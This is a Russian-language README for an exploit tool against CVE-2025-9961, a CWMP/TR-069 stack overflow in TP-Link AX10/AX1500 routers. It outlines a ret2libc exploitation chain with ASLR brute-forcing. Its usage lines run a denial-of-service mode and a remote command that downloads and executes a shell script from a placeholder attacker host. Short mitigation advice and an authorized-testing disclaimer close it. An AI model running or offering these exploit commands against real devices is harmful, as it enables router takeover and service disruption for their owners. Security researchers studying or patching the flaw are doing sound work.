CVE-2025-9961

TP-Link AX10/AX1500 CWMP Переполнение буфера RCE

Обзор

Переполнение стека буфера в CWMP (TR-069), приводящее к удаленному выполнению кода.

Схема атаки

flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

Технические детали

Уязвимость находится в процессе cwmp при обработке SOAP-запросов SetParameterValues. Входные данные используются для вычисления размера буфера без проверки границ.

Эксплуатация:

• Используйте ret2libc для вызова system()
• Обход ASLR путем перебора
• Перезапуск службы позволяет повторять попытки

Использование

python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

Параметры

Требования

Нет (использует стандартную библиотеку)

Меры защиты

• Обновите прошивку с исправлением
• Отключите TR-069/CWMP
• Ограничьте доступ к порту 7547

Отказ от ответственности

Только для авторизованного тестирования безопасности.